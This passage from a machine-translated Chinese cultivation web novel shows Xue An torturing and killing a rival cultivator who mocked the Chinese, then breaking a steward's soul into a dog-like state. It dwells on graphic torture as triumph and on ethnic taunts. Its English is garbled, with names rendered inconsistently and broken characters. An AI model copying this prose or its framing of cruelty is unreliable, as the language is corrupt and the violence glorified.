    But there are also many people who are sitting on the sidelines, showing disdain.


    But when this group of sect cultivators saw the trio of Hua Youan following Wan Chengyi, they were all taken aback.


    "This... is this Chinese?" Some repairers whispered.


    Then some cultivators couldn''t restrain themselves and stood up and said coldly: "Faculty Wan, what''s the matter with these Chinese people?"


    "What''s wrong?" Wan Chengyi said lightly.


    "Hehe, this is the main hall, how can these Chinese people qualify to appear here?"


    "Oh, I forgot to tell you, these Chinese are my friends, I brought them here, do you have any opinions?" Wan Chengyi said solemnly.


    His remarks made many people look at each other, and then some people sneered.


    "Friends? When did the Garan Cultists make friends with these Chinese people?"


    Wan Chengyi looked up and his expression sank.


    Because the speaker is the enemy of Kalan religion, the broken mountain of Shiva Demon Gate.


    This person is a first-class master of Shiva Demon Sect, and he has reached the peak of the Golden Immortal in his cultivation, which is higher than this Wan Chengyi.


    And this Shiva sect and Karanism have serious conflicts on the teachings, so they have long regarded each other as enemies.


    I didn''t expect him to be here.


    Wan Chengyi took a deep breath, "Poshan, what kind of friends do I teach Garan make, do I still need to say hello to you?"


    "Of course not, but in this main hall are all cultivators'' sects. You brought in a group of Chinese who have no cultivation skills. Isn''t this a bad rule?"


    With that, Po Shan''s gaze flicked around Shan Ruoling''s body, and then he greedily looked at Hua Youan.


    What else is Wan Chengyi wanting to say, Poshan has already grinned, "Tsk, I didn��t expect that the Chinese still have such beautiful little ladies, who are even disguised as men to attend the Thousand Races Conference? Why? You Chinese have not sent them. Is there a man?"


    This remark caused a burst of laughter around.


    Hua Youan''s complexion suddenly became extremely ugly.


    The eyes of Jia Ning and Song A were even more intense.


    "What are you staring at me? Jie Jie, I can''t remember if I don''t see you, the last Thousand Clan Conference, the few Chinese sent by you were so careless. I just teased it a little bit. It became a mass of flesh and blood, hehe, I don��t know how long you can last this time?"


    Hearing Poshan''s words, Hua Youan''s face paled, and his words were as cold as ice: "Did the Chinese people die in your hands at the last Thousand Race Conference?"


    Poshan laughed nonchalantly, "Yeah! Didn''t I say that, I just teased it, and it all died. Tsk tsk, it''s a bunch of weak little guys."


    Speaking of Poshan greedily staring at Hua Youan, "But this time, as long as you are willing to accompany me, I can raise my hand and let you Chinese people go first? How about?"


    At this time, Wan Chengyi was already looking gloomy and terrifying, and said coldly: "Poshan, what do you mean?"


    "Wan Chengyi, stop the **** nonsense here. If you are not convinced, let''s fight a game first. If you lose, let your charming little apprentice come with me again. What do you think?"


    Hearing this, Wan Chengyi was furious.


    But he was still sober.


    This broken mountain''s cultivation base has always suppressed himself. If he really hits his aggressive skills, if he does it now, he will definitely suffer a big loss.


    If you fail yourself, things are small, if you delay entering the Heavenly Daoyuan, then the Garan Sect will be over.


    Therefore, his expression changed and he was silent for a while.


    Po Shan laughed more arrogantly, then stared at Hua Youan and said, "My little girl? How about? Can you consider it? My patience is very limited?"


    Hua Youan''s face gradually showed firmness, just about to say something.


    Song A on the side had already stepped forward and smiled at Jia Ning and Hua Youan: "His Royal Highness, Lao Jia, this kid is too arrogant, I''ll go fight him!"


    Having said that, before the two of them responded, they walked forward, stood in the court and rushed to the opposite Poshan to hook.


    "Boy, don''t think that you are a cultivator and you''re a cow*. Master, I will teach you how to be a man today!"


    Hearing this, the cultivators in Broken Mountain and the whole room were all startled, and then burst into laughter.


    Among them, Poshan laughed the most exaggerated.


    "A mere mortal, dare to provoke me?"


    Song A didn''t smile, but looked at the broken mountain quietly.


    After laughing for a while, the broken mountain gradually reduced his smile, and then licked his lips ferociously.


    "Very well, since you are looking for death by yourself, then I will fulfill you!"


    As he said, Po Shan suddenly rushed to Song A and blasted Song A''s chest directly.


    Po Shan is confident that if he is hit in this boxing, this boy will definitely be blasted as a fan.


    Unexpectedly, Song A took a deep breath and yelled: "Get out!"


    Said it was also a punch.


    Click.


    After a crisp sound, Song A''s arm burst open, and at the same time the whole person stepped back more than a dozen steps before finally standing still.


    The broken mountain just swayed slightly.


    But this shaking made his complexion extremely ugly.


    Because he was a golden immortal cultivator, not only did he fail to smash this Chinese young man with no cultivation level with a punch, he was actually shaken by the counterattack.


    This is a great shame for him.


    And Hua Youan and Jia Ning all exclaimed Song Ah! "


    After Song A stood still, he turned his head and looked at his bone-exposed right hand, grabbing his arm with his left hand indifferently, and then suddenly applied force.


    With a click.


    The abolished right hand was torn off by Song Asheng.


    The blood was gushing again.


    Many practitioners felt that their hairs were standing upright, and they couldn''t help swallowing.


    Because Song Ah''s expression is terrible.


    As if it wasn''t his own arm that was torn off, the extreme coldness to oneself made people shudder.


    Even Poshan felt uncomfortable, but still grinned: "Very well, you can actually take a punch from me. It looks like you are much stronger than the Chinese waste from the previous session!"

 Chapter 623： Xue An, teach you how to be a man

    Although Song A''s complexion was pale, he sneered at Poshan after hearing the words, and then sneered: "Silly*, I said, I will teach you to be a man today!"


    Po Shan''s face was angry, "Do you think this can defeat me? You know that the punch just now, I am useless at all!"


    As he said, slowly raising his fist, a strong momentum gradually began to condense.


    Hua Youan and the others were forced to step back a few steps, their expressions becoming extremely solemn.


    It''s already so powerful just after the impact.


    It is conceivable how much pressure Song A should face when facing the momentum.


    really.


    Seeing Song A''s stature swaying, like a small boat in the stormy waves, it may capsize at any time.


    After all, Jinxian''s cultivation base is terrible.


    Even though Song A was born with supernatural powers, it was impossible to be this Poshan opponent.


    But even so, Song A still clenched his teeth and did not retreat.


    Seeing this, the faces of Hua Youan and Jianing showed sorrow.


    Because they both knew that Song Ah was ready to fight to the death.


    Even the many cultivators onlookers were unbearable.


    "Hey, Your Highness, Lao Jia, I''ll take a step ahead!" After that, Song A faced the broken mountain and roared, "Go to your mother''s cultivator!"


    Then his left fist blasted out.


    Song A was born with supernatural power, and the momentum of this punch can be called powerful.


    But Poshan just gave a grinning grin, "Death!"


    Then he also threw a punch.


    Shiva Demon Gate itself is very good at physical arts, and this broken mountain is also a golden immortal cultivator, so the power of this fist makes all cultivators change in color.


    Wan Chengyi was struggling. He tried to rescue him several times, but in the end he sighed and turned his head and couldn''t bear to look again.


    At this moment, he is full of guilt.


    After all, these Chinese people were all brought in by themselves, and if they died here, it would be equivalent to killing others indirectly.


    Hua Youan stared at Song A''s back blankly, her silver teeth clenched, and even bit her lips with blood.


    But at this moment, I heard a cold voice coming, "Golden Immortal Cultivator...very awesome?"


    Then I saw a figure rushing in at a very fast speed, directly blocking Song A''s front, and then blasted out with a punch, directly facing the Poshan.


    boom.


    There was a loud noise.


    The whole hall seemed to be shaking.


    Then in the eyes of everyone''s astonishment, I saw that this mountain-breaking figure was shaking, and he staggered back a few steps before barely stopping.


    This... how is this possible?


    Actually knocked back Poshan with a punch?


    Everyone turned their eyes together and looked at the person who rushed in.


    I saw a Chinese man standing proudly on the spot with a grim expression and killing intent in his eyes.


    Wan Chengyi trembled all over.


    It''s him!


    Naturally, Xue An came.


    He and the people from Puppet Xianzong were the city lord''s mansion that had just arrived. They were about to enter this main hall, but unexpectedly saw Song Azheng fighting against this broken mountain.


    And two Chinese teenagers stood behind.


    Xue An immediately guessed that this should be the person sent by Gu Huaguo.


    Then the various arrogant acts of breaking the mountain gradually made Xue An''s murderous heart rise.


    But the performance of Song A and others made Xue An feel pleased.


    No matter what kind of powerful enemy they faced, the three Chinese teenagers didn''t have the slightest intention of retreating.


    It wasn''t until Poshan used a killer move that Xue An made a bold move and saved Song A.


    now.


    Xue An slowly retracted his fists, and said to the three of Song A and Hua Youan, who were shocked, "You go back."


    After hearing what Xue An said, the three subconsciously stepped back.


    Then Xue An stood with his hand in his hand, looked at the uncertain face on the opposite side of the broken mountain, and said calmly: "Is he the murderer of the Chinese people last time?"


    Hearing Xue An��s question, Liu Keke took a step forward and said respectfully: "Back to senior, this is the person."


    At this time, the cultivators in the room woke up from their astonishment, and they all looked at Xue An with surprise.


    I don''t know who this Chinese man is who can actually retreat with one punch.


    And it seems that this Chinese man has no cultivation base?


    Xue An nodded, and then raised the corners of his mouth, "Very well, there are people who have been wronged and the debtors, since you killed the Chinese, then you will pay for them today!"


    Po Shan was already relieved from the punch he had just received, and said with a grinning smile: "Here is another one to die? Are you Chinese like this..."


    Xue An stomped his foot before he finished speaking. The whole main hall shook violently, and the whole person rushed over like a cannonball, and then blasted out with a punch.


    This punch was so powerful and mighty that Poshan didn''t even react, and Xue An slammed it on his chest with a punch.


    Click.


    With a burst of bursting sound of bone fractures, he vomited blood and flew out. After smashing a few tables, he landed.


    This shocking blow made the room quiet.


    Xue An stretched out a finger and said lightly: "This is the first punch for the Chinese people!"


    "You''re looking for death!" Poshan''s body flickered with black light, his injuries were quickly repaired, and he roared at the same time.


    "Shiva destroys the world!"


    Following his roar, an extremely terrifying breath appeared behind him.


    Wan Chengyi trembled and shouted palely: "Hurry up and stop him, he is calling Shiva to come to the world! By that time, all the creatures within a radius of ten miles will die!"


    "Hehe, do you want to stop it now? It''s too late? You all go to my death!" Poshan Jiejie smiled strangely, and a blue ancient **** gradually appeared behind him.


    The statue of this **** is open-chested, with fangs in its mouth, and a golden skeleton on top of the flame, which is very hideous.


    It is the terrifying aspect of Shiva.


    This is what Shiva shows when he is angry. His strength is extremely terrifying and he has the power to destroy the world.


    Many cultivators were horrified by this momentum, and they stepped back.


    Poshan grinned and said: "Chinese man, after I kill you, I will go to Guhua Country, and then slaughter everyone there! Let your Chinese disappear into the world!"


    As he said, he laughed wildly.


    Xue An said indifferently: "Even if you really summon Shiva, you have to kneel down for me today!"


    As he said, Xue An suddenly raised his eyes, the light in his eyes was brilliant, as soon as his eyes came, a blood lotus gradually condensed and appeared between his brows.


    After seeing this even delicate and lovely blood lotus, the face of Shiva''s terrifying look unexpectedly appeared in terror and then turned around and escaped.


    The blood lotus didn''t give it this opportunity at all, and rushed directly to cover Shiva.


    Click.


    After a crisp sound.


    Cracks appeared on the statue of Shiva, and finally burst into pieces.


    Poshan couldn''t believe his eyes, "No!"


    Before he could say anything, Xue An rushed forward and blasted another punch.


    This punch was hitting his head, directly flying him off the ground, and then smashed into the distant wall.


    boom.


    Amidst the smoke and dust, Xue An stretched out his second finger and said lightly.


    "This is the second punch!"

 Chapter 624： Not satisfied? Then I will hit you!

    The audience was silent.


    Only the smoke is slowly sinking.


    do you died?


    Many people have doubts.


    At this moment, a hand was suddenly stretched out among the ruins, and then Broshan climbed out of it with difficulty.


    It''s just that he now looks too miserable.


    Half of his head has been shattered by life, and blood is dripping down from his brain.


    With such a serious injury, it is estimated that the other repairers would have died long ago.


    It is only because Shiva Demon Gate is very good at physical arts, has tempered the fleshly body extremely solid, and the vitality is naturally very tenacious, so that he can survive this kind of serious injury.


    The practitioners who witnessed this scene all felt extremely absurd in their hearts.


    From the appearance of this Chinese man with no fluctuations in his cultivation level to the present, only half a cup of tea has turned the arrogant and impossibly broken mountain into this look.


    This is a bit weird.


    At this time, he saw the black light on Poshan''s head flickering vigorously, and the wound was squirming wildly, trying to repair the injury.


    For the first time, Po Shan''s face also showed a solemn color.


    "I admit, you are great! But don''t forget, I am a golden immortal cultivator!" Poshan said coldly.


    Huayou, who has been paying close attention to the situation in the field, can''t help but sink.


    Whether in Zhongzhou or elsewhere, Jinxian means the top combat power.


    And being able to become a golden immortal naturally means that this cultivator has great opportunities and great fortunes. Such people are often extremely difficult to kill.


    "Hey, I''m going to tell you next, what it means to provoke a cultivator of the Golden Immortal Peak!"


    Poshan''s face gradually became hideous, and his body shape began to soar as if he was blowing, and soon he became seven or eight meters tall.


    If it weren''t for the huge hall, I guess my head would hit the ceiling.


    The aura on Poshan''s body became more and more terrifying, and his face gradually became less human-like.


    "Demonization! It''s demonization!" Wan Chengyi exclaimed.


    Many people who know Shiva��s Demon��s Gate are awe-inspiring.


    Shiva Gate was originally an ancient religion inherited from the ancient times, and Shiva is the supreme **** in this religion.


    But in the thousands of years of spread, this Shiva gate gradually began to mutate, and added a lot of demon means.


    It was finally called Shiva Demon Gate.


    Among these methods, demonization is the most terrifying and ultimate kind.


    Once it is displayed, it means that the person has completely entered a frenzied state, and it will never stop without killing the opponent.


    Many timid repairmen have slipped out of the main hall quietly.


    Hua Youan was bandaging the wound on Song A''s right arm, while looking at Xue An''s back uneasy.


    She doesn''t know Xue An.


    But this same black-haired and black-eyed man gave her a strong sense of security.


    Moreover, he repelled Poshan as soon as he appeared, which shows that he is an extremely powerful character.


    It has been too long since the Chinese people have appeared strong, so the appearance of Xue An made Hua Youan and Jia Ning all happy for him.


    Correspondingly, he became more worried about Xue An''s current situation.


    Cang Yayun and Liu Ke could see, and they were about to step forward to help Xue An.


    Xue An raised his head and looked at the broken mountain like a demon god, and said lightly: "Since the beginning of cultivation, he has planted the devil fetus, and when needed, he will attract the devil fetus into the soul to stimulate combat power, is that true?"


    Different from other people''s demonization, because Poshan is a golden immortal cultivation base, so you can stay awake while demonizing.


    Therefore, after hearing these words from Xue An, his expression changed drastically.


    "You... how could you know the devil fetus?"


    This is the unspoken secret of Shiva Demon Gate, and only the highest level people are qualified to contact it.


    Now that Xue An said it through, he was naturally horrified.


    Xue An smiled faintly, "The idea is good! It''s a pity... Even if the real demon is here, he must die today!"


    Xue An instantly disappeared in place, and when he reappeared, he had already arrived in front of the broken mountain.


    I saw that the light in Xue An''s eyes was great, and the powerful spirit was like the essence, and it condensed into a huge silver needle, which pierced the mountain''s forehead.


    Po Shan was horrified and wanted to dodge.


    But the speed of this divine mind silver needle was like a shining silver light, which instantly penetrated Poshan''s forehead, and then shot out from the back of his head, bringing out a long black magic energy.


    Poshan''s expression instantly became dull, and then countless devilish energy began to escape from his eyebrows, and his huge body shrank sharply.


    With just one blow, Xue An smashed the broken mountain''s fetus.


    The resulting violent backlash almost defeated Poshan''s mentality.


    It wasn''t until his body shrank back to his normal state that Poshan regained his consciousness, and then shouted in horror, "Who are you?"


    Xue An lightly said: "I am Xue An from the Chinese nationality! Now, I want to play a game! Next, you must count every punch I strike. If you count wrong or refuse to count, then The torture for you will never end! Understand?"


    "Do I count you......" Although Po Shan was frightened by Xue An''s methods, his dignity as a golden immortal cultivator still made him yell out.


    Xue An shook his head, "This answer...I don''t like it!"


    With that said, Xue An''s figure suddenly appeared behind Poshan, and then blasted out with a punch.


    Poshan roared and tried to resist.


    But how could he be able to withstand Xue An''s punch after repeated serious injuries, coupled with the destruction of the devil''s tire.


    boom.


    He was blown out by Xue An again, and then hit the ground heavily.


    Xue Ansen smiled, "Next, the game officially begins!"


    When the voice fell to the ground, Xue An''s figure appeared again in front of the broken mountain that was just struggling to get up, and again punched out.


    Next is Xue An''s personal performance moment.


    I saw Poshan perfectly playing the role of a human sandbag, and was bombarded by Xue An from the ground to the air, and then from the air to the ground.


    The muffled sound of fists, the crackling sound of fractures, and the screams of breaking the mountain constitute a symphony exuding **** beauty.


    At the beginning, Poshan wanted to fight back.


    But Xue An''s fist is so strong. Let any resistance he turned into a needless struggle.


    In the back, Poshan has been beaten and can only rely on strong vitality to endure By this time, the strong vitality has become the shackles of Poshan.


    Because of this powerful vitality, he couldn''t even get into a coma, so he could only be beaten with his eyes open.


    It wasn''t until this time that Poshan deeply realized that being beaten was such a painful thing.


    That kind of heart-wrenching pain quickly brought him to the brink of collapse.


    at last.


    After Xue An threw another punch and slammed him deep into the floor from mid-air, and successfully broke all his newly grown ribs.


    He shouted tremblingly, "One... one punch!"


    Hearing this shout, all the onlookers took a breath.


    Surrendered to such a strong man.


    This Chinese man... terrible!

 Chapter 625： I say it is wrong, then it is wrong!

    Looking at the broken mountain lying on the ground with a face full of horror, Xue An showed her white teeth and smiled sorrowfully.


    "This is a very good start, but I hope you will remember with every punch that follows. If you call it wrong... then it is the end of your life! Understand?"


    "No..." Po Shan screamed in his throat.


    Xue An did not give him a chance to beg for mercy. He stepped directly on the ground, and the force of the counter shock bounced the broken mountain from the ground.


    Then Xue An punched out.


    Poshan screamed and flew out, but shouted in the air.


    "The second punch..."


    Next, Broshan is like a masochist. Even if Xue An''s head is broken, he still does not forget to count.


    "The third punch... the fourth punch..."


    Everyone stared at this scene blankly, and the eyes of those cultivators showed deep awe.


    Hua Youan and Song Ajianing had already burst into tears.


    Looking at the once extremely arrogant broken mountain, Xue An is now beaten into this miserable state, and he has to count how many punches he has suffered.


    The fastest thing in the world is this.


    At the same time, Hua Youan became deeply curious about Xue An.


    He just confessed that he is a Chinese, but why has he never heard of such a powerful master before?


    At the time of Hua Youan''s doubts.


    Po Shan shouted, "Thirty-ninth punch!"


    Then he was smashed to the ground and couldn''t get up again.


    At this moment, he looked like a mass of rotten flesh, and his appearance was extremely miserable.


    But even so, he still did not dare to have the slightest confusion.


    Because Xue An said clearly, he would die if he was wrong.


    At this time, Xue An didn''t punch any more, but slowly walked to the front of Poshan and looked at him quietly.


    Under Xue An''s cold gaze, he was terrified and trembled all over.


    Then I saw Xue An calmly said: "How much did you just call?"


    "Thirty-ninth punch!"


    Xue An shook his head, "Wrong!"


    Poshan''s eyes widened in an instant, "How...how is it possible? I remember it clearly, and I can''t go wrong!"


    Xue An smiled slightly, "Then I ask you, how much is it after thirty-eight?"


    "thirty-nine!"


    Xue An shook his head again, "No!"


    "What''s wrong? Isn''t thirty-nine after thirty-eight?" Poshan screamed.


    Xue An said indifferently: "In other places, thirty-eight is thirty-nine, but in my case, I said it was wrong, then it is wrong!"


    "If you are wrong, you must die!" Xue An said, with a bright light in his eyes, and slowly raised his fist.


    "No... you are just arguing, you can''t kill..." Po Shan was going crazy.


    In his opinion, this Xue An is completely shameless.


    "Yes, I''m just arguing, what can you do to me?" Xue An said lightly, raising his fist to blow.


    But Poshan felt that a powerful divine power was coming, completely suppressing his own cultivation base.


    This discovery frightened the dead.


    If the cultivation base is suppressed, then Xue An''s punch will definitely kill him.


    At this moment, I heard a panting shout coming from outside, "Keep someone under the fist!"


    Po Shan was overjoyed and was about to say something.


    Xue An raised the corner of his mouth and said coldly: "Do you think you are making a TV series? Still **** to keep people?"


    After all, a punch came out.


    Click.


    After a crisp sound, Poshan''s head was shattered by Xue An''s fist.


    A strong black glow spread from Poshan''s body like a tide, and the aura of the world that was disturbed was shaken violently.


    And a group of black brilliance flew out in the air, about to flee.


    Xue An''s mind was like a knife, and he cut it down directly.


    There was a scream in the air, and the whole hall suddenly shook.


    All the cultivators were shocked.


    This is the phenomenon of heaven and earth caused by the fall of Jinxian.


    So far, the top master of Shiva Demon''s door broke the mountain and fell on the spot.


    At this time, the caller rushed in.


    After seeing the corpse on the ground, the fat face of this man trembled.


    "You...you actually killed him?"


    Xue An looked at the big fat man and said lightly: "What about killing?"


    At this moment, another person rushed in behind him.


    "The big steward, you..."


    Then the man looked at the corpse on the ground and couldn''t help being stunned.


    When Hua Youan saw the people running behind, he couldn''t help shouting in surprise: "Uncle Zhong! Why are you?"


    Since the three of Hua Youan left, Chen Zhong has been thinking about it.


    Finally, after gritted his teeth, he also came to the City Lord''s Mansion.


    But he didn''t have an invitation, so he couldn''t get in at all, he could only hang around the door.


    But because of the great momentum of the Thousand Clan banquet, many people came in and out, so the news inside could also spread.


    When he heard that a Chinese teenager and a golden immortal cultivator were doing it on the spot, it was black in front of him and almost fell to the ground.


    The thing he worried most eventually happened.


    Golden Immortal Cultivator!


    That was an existence that Chen Zhong couldn''t even think of.


    How could a three-year-old boy with a weak crown, such a strong opponent?


    No way!


    Find a way to get in!


    Even collecting the bodies of three people is better than being stupid outside.


    After making up his mind, he tried his best to get close to a familiar doorman, and finally entered the door, but by coincidence, he happened to meet Jinjin.


    He begged for money and wanted to enter the main hall.


    Geng Jin sneered after hearing the words: "I said long ago that you Chinese came here purely for death! Are you convinced now? As for you want to go to the main hall? Ha ha, that''s absolutely impossible. Get out!"


    Chen Zhong was scolded only for the promise, but he still nodded and bowed his head and wanted to ask Gengjinwang to open up.


    Genjin''s eyes widened, and he was about to attack, a family rushed to deliver the letter.


    "It''s not good! It''s dying!"


    Genjin sneered, "Chinese people die if they die, what''s all the fuss about?"


    "No! Master Poshan is dying!"


    "What?" The gold jumped three feet high upon hearing the words.


    "What''s the matter? Which adult did it?"


    "I don''t know either! Go and have a look!"


    Geng Jin heard the words Sa Yazi ran to the main hall.


    Shiva Demon Sect is a very powerful sect, and Poshan is a golden immortal powerhouse. If he died at the dinner party, he would have to be implicated as a steward.


    And Chen Zhong was also startled when he heard this, and ran over behind him.


    When entering the main hall, when the three of Hua Youan were still alive, although Song A''s arm was missing, he was not dead anyway, Chen Zhong couldn''t help but breathe out.


    But Genjin''s complexion was so gloomy and terrible at this time.


    Poshan died, which made the Jinjin angry, but he did not dare to provoke Xue An.


    So he spread all the anger on Chen Zhong.


    Snapped!


    Genjin slapped Chen Zhong viciously, and then roared: "I blame your old dog for pestering me for endless talk, and it turns out that such a big event happened!"

 Chapter 626： 3 breaths, give me a satisfactory explanation...

    Chen Zhong was beaten for a moment, then touched his cheek with a habitual smile.


    When Hua Youan saw this scene, all of them were furious.


    "Dare to hit Uncle Zhong?" Jianing was angry.


    Genjin sneered when he heard the words, "What can I do if I hit him? Haha, I forgot to tell you, do you know where your Chinese invitation comes from? It''s all this old dog kneeling on the ground begging me. , I even learned how to bark a dog, and I gave it to you when I felt soft! Do you really think you are qualified to enter here?"


    Hearing Genjin''s words, the three Hua Youan were all startled, and then looked at Chen Zhong together.


    "Uncle Zhong, you..."


    Chen Zhong lowered his head unnaturally, "His Royal Highness, I... I have no ability, I can only get invitations through this method, I am embarrassed by the Chinese!"


    Hua Youan shook his head vigorously, "No, Uncle Zhong, you didn''t shame anyone! It is the Chinese that made you wronged!"


    "His Royal Highness, don''t say that, these things are actually nothing at all!"


    At this moment, Hua Youan felt sour and sad. This loyal uncle''s hair was already gray, but for an invitation, he knelt on the ground and went to school.


    What humiliation and sadness should be in his heart.


    And Jia Ning and Song A were even more fierce when they heard it, and they wanted to swallow the soup alive.


    Genjin sneered at this time, "Well, don''t act in front of me. You Chinese will get out of the city lord mansion now, otherwise don''t blame me for being rude!"


    As the personal steward of Luo Fu City Lord Luo, Genjin has great power and can get some information about Tiandaoyuan, so no matter how big the sect is, he will show the necessary respect when facing him.


    So he developed this arrogant and domineering character.


    Coupled with the death of the broken mountain this time, he will definitely be condemned by the city lord, and the anger in his heart will not be calmed, so it will be scattered on the heads of the Chinese people.


    Of course, this was also because he had not dared to look at Xue An carefully out of awe just after he came in.


    From Genjin''s point of view, a person who can kill a strong golden immortal is at least a strong golden immortal, and may even be a peerless murderer who is half a step true immortal.


    How can such an existence be of Chinese ethnicity?


    But this time, he was wrong.


    Just when the genjin spread all the anger on Hua Youan and the others.


    All the cultivators in the room looked at him as if they were dead.


    Genjin only thinks that everyone''s eyes are a little weird, but he didn''t think much about it. He just yelled coldly, "Don''t you hear it? Believe it or not, I will let you all kneel down and learn how to bark?"


    Xue An was not far behind this Jin Jin, quietly listening to his clamor, his eyes getting colder, and then he said lightly.


    "Who did you say to kneel down to learn how to bark?"


    "Naturally these lowly Chinese people!" Genjin said without thinking.


    Xue An nodded, "So that''s the case, then you keep saying that the Chinese are humble, what''s your identity?"


    Genjin said impatiently: "I am the personal steward of Lord City Lord, you..."


    Genjin finally felt that something was wrong at this time, and couldn''t help shaking all over, then turned to look at Xue An.


    After noticing that Xue An, who killed Poshan, was also black-haired and black-eyed, the complexion of the gold turned pale at a speed visible to the naked eye.


    "you you����."


    You have been for a long time, but you don''t know what to say.


    Xue An said calmly: "I heard you just said that you want Chinese people to kneel down and learn how to bark a dog?"


    Gengjin was sweating coldly, and said with a strong smile: "It''s all... a misunderstanding!"


    "Misunderstanding?" Xue An shook his head, "I am not satisfied with this explanation!"


    Gengjin took a deep breath, and then said: "This lord, I just said inadvertently. The heavens will be opened soon. I am the personal steward of Luofu City Lord. You see... can you give me some face?"


    The meaning of Gengjin is obvious, just to remind Xue An.


    I may be able to get in touch with the original intelligence of Tiandao, you''d better weigh it.


    Xue An smiled slightly, "It seems there is some truth, then I will give you face!"


    Genjin took a deep breath, wiped the cold sweat from his forehead, just waiting to say something.


    Xue An stretched out three fingers and said lightly: "I will give you three breaths now. You have to come up with an explanation that satisfies me, otherwise..."


    Xue Ansen smiled, "You will make you regret why you are so fat!"


    Genjin shivered when he heard the fat all over his body, "What do you want to do?"


    Xue An said lightly: "One!"


    "If you offend me, then don''t think about getting Tian Daoyuan''s information!"


    Xue An continued to say unhappily: "Two!"


    Just when Xue An''s three characters were about to be exported.


    Genjin glanced at the corpse of the broken mountain on the ground, gritted his teeth fiercely, then thumped and knelt on the ground, opening his mouth and learning how to bark.


    After the call, Genjin looked at Xue An with a green complexion, "What do you think of this explanation?"


    Xue An looked at the gold that looked like a mountain of meat, raised the corners of his mouth, and smiled.


    "Such a fat dog, it must be delicious to stew!"


    His words caused a low laugh.


    Song A laughed even more, and then said, "Senior is wrong. This fat dog doesn''t chew, but this dog''s skin is good enough to make a mattress."


    Genjin''s heart is dripping blood. He has always bullied others. He did not expect to be bullied by others today, and he is still the Chinese that he has always looked down on.


    So he thought fiercely, you wait, as long as you enter the heavenly law, I must find a way to let you die in it.


    But there was no expression on his face, but he asked in a deep voice: "Since it''s good, then we''ll even be even. What do the seniors think?"


    Xue An walked over slowly, patted Genjin''s head with his palm, and said lightly: "I know you must hate me very much in your heart."


    Genjin trembled, and said quickly: "Don''t dare!"


    Xue An smiled slightly, "It''s useless to hate me, because no matter what explanation you give, you... will die today!"


    With that said, Xue An''s spirit invaded Genjin''s mind directly, and his soul was completely washed away in an instant.


    The gengjin who wanted to call for help dimmed in an instant.


    But Xue An obviously did not intend to make him so cheap.


    Those broken soul fragments were recondensed by Xue An and...


    Seeing a strange look gradually appeared in Gen Jin''s already dim eyes, then he bent down his huge body, fell on all fours, shook his buttocks, and made waves of vivid dog barking.


    Xue An picked up a chicken thigh bone on the table and threw it out the door.


    The gold sticked out his tongue, his eyes flashed out, and he started to lick the chicken leg bones.


    Regardless of form or action, it looks like a...dog!


    Everyone looked silly.


    In their opinion, Xue An just took a look at the genjin just now, and then the genjin became like this.


    This is simply incredible.


    At this moment, I heard a thunderous roar coming from a distance.


    "Who dares to hurt the people in my house?"

 Chapter 627： Never rise without bleeding

    Following the voice, a dozen figures flew across the sky and landed in the courtyard.


    After standing still, people realized that the dozen or so people who came were all powerful masters.


    Standing at the forefront was a middle-aged man with three strands of goatee and a gloomy face.


    This man couldn''t see how high his cultivation base was, but there was a chilling light in his gloomy eyes, which made people afraid to look directly.


    "It''s City Lord Luo!"


    "The Lord of the City is here in person!"


    There was a commotion in the crowd.


    It was the city lord Luo of Luofu who came out.


    He lowered his head and glanced down on all fours with his tongue out, crawling like pigs and dogs, and his complexion became more and more gloomy.


    "Smashing the soul to life, and then condensing it in the form of a pig and dog, making it a human-shaped pig dog, your Excellency is really a vicious method." Luo Wenshi said in a cold voice.


    Xue An looked at Luo coming out with a faint smile, and said lightly: "Thank you for the compliment."


    Hearing him say this, the men standing behind Luo Wenshi were all angry.


    "City Lord, this kid is too rampant! Not killing is not enough to calm the anger, and it is not easy to explain to the ancestors of Shiva Demon Gate!"


    "Yes, a little Chinese kid, who didn''t know what wicked tricks he used, dare to be so arrogant and kill him!"


    These people started clamoring.


    At this time the situation began to change.


    The crowd who had been onlookers just now all slipped quietly behind Luo Wenshi.


    Except for Xue An and Hua Youan, the puppet Xianzong and the master and apprentice Wan Chengyi of the Garan Sect did not leave.


    The comparison of the numbers of the two sides suddenly appeared to be very different. The Uyang Uyang where Luo came out were all cultivators from all sides.


    Xue An was empty and deserted behind him.


    In this form, many people''s eyes on Xue An began to turn bad.


    In their inherent cognition, the Chinese should not have strong people, they should be bullied, and they should always be at the bottom of the thousand races and never stand up.


    But Xue An''s turnout made these people feel a strong sense of crisis.


    Fist out Jinxian, snap your finger and break your soul.


    This almost terrifying method caused these sect cultivators to have a deep fear of him.


    If it is allowed to develop and grow, God knows what the Chinese will become.


    It''s better to get rid of him while he is not very strong yet.


    And now the city lord of Luofu city himself came forward to attack, and people like himself followed behind and waved the flag and shouted, and it didn''t take much effort to make a good impression in front of Luo Wenshi.


    Why not do this?


    To know that the Thousand Races Conference is about to open, Tian Daoyuan will soon emerge from the clouds, and now that he can have a good relationship with Luofu City Lord, he may be able to obtain a lot of useful information.


    So under the combination of these many factors, almost all the cultivators ran to the opposite side.


    At this moment, Hua Youan and Jia Ning Song A looked at each other, and they all saw the decisiveness in each other''s eyes.


    Then he took a step forward and stood beside Xue An.


    Hua Youan whispered: "Senior, we will attract these people''s attention in a while, you run!"


    Jia Ning also said: "Yes, senior, don''t worry about anything for a while, run quickly!"


    "Run? Why run?" Xue An smiled slightly.


    Hua Youan paled and gritted her teeth and said: "Senior, these cultivators will never allow the Chinese to appear as strong as you! Now they are staring at you, and they must be thinking about how to eradicate you!"


    "So for the sake of the Chinese, you have to do everything you can to get out of here! Only a strong man like you can lead the Chinese to grow and grow, and then return all the blood debts of these thousands of years!"


    Hua Youan said in a low voice.


    Xue Anlue glanced at the "boy" who was disguised as a man in surprise.


    Although she is not very old, the little girl''s mind is extremely clear.


    Then Xue An said, "I''m leaving, what do you do?"


    Hua Youan and Jia Ning only smiled when they heard this.


    "Senior, you don''t care about the three of us. Compared with your importance, it doesn''t matter if we are dead." Song A whispered.


    Hua Youan nodded, "The rise of an ethnic group is always **** and cruel. If you want to rise without bleeding, it is simply wishful thinking! And the Chinese have already shed enough blood, and don''t care about the three of us! "


    When speaking, the three people''s tone was extremely flat, and they didn''t take life and death seriously.


    Xue looked at the three of them quietly, and after a while, he shook his head and chuckled, "Very good! I am indeed a Chinese, but you don''t have to say, I won''t leave!"


    "But..." Hua Youan was anxious when he heard the words and just wanted to talk.


    At this time, Luo Wenshi stared at Xue An for a while, and then sneered: "Your Excellency is so cruel and unrelenting, isn''t it afraid to arouse public anger?"


    Between words, all the cultivators turned their eyes on Xue An, this powerful deterrent force was enough to shake the mind of ordinary cultivators.


